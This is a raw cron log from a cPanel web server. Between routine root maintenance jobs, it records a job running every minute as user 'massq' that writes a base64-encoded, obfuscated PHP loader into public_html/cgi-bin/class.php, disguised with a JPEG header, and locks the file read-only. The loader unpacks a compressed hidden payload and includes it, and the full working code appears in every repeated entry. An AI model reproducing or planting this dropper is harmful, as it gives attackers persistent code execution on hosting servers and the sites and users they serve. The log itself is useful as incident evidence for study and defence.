Sep  8 08:28:01 server CROND[26557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:28:01 server CROND[26558]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:28:01 server CROND[26559]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:29:01 server CROND[26947]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:29:01 server CROND[26948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:29:01 server CROND[26949]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:30:01 server CROND[27342]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 08:30:01 server CROND[27343]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 08:30:01 server CROND[27349]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 08:30:01 server CROND[27345]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:30:01 server CROND[27346]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  8 08:30:01 server CROND[27351]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 08:30:01 server CROND[27347]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 08:30:01 server CROND[27352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:30:01 server CROND[27348]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:31:01 server CROND[28203]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:31:01 server CROND[28204]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:31:01 server CROND[28205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:32:01 server CROND[28688]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:32:01 server CROND[28686]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:32:01 server CROND[28687]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:33:01 server CROND[29135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:33:01 server CROND[29136]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:33:01 server CROND[29137]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:34:01 server CROND[29525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:34:01 server CROND[29526]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:34:01 server CROND[29527]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:35:01 server CROND[29926]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 08:35:01 server CROND[29930]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 08:35:01 server CROND[29928]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:35:01 server CROND[29931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:35:01 server CROND[29932]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 08:35:01 server CROND[29933]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 08:35:01 server CROND[29936]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 08:35:01 server CROND[29929]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:35:01 server CROND[29934]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 08:36:01 server CROND[30783]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:36:01 server CROND[30784]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:36:01 server CROND[30785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:37:01 server CROND[31270]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:37:01 server CROND[31272]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:37:01 server CROND[31271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:38:01 server CROND[31663]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:38:01 server CROND[31665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:38:01 server CROND[31664]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:39:01 server CROND[32052]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 08:39:01 server CROND[32051]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:39:01 server CROND[32053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:39:01 server CROND[32054]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 08:40:01 server CROND[32449]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
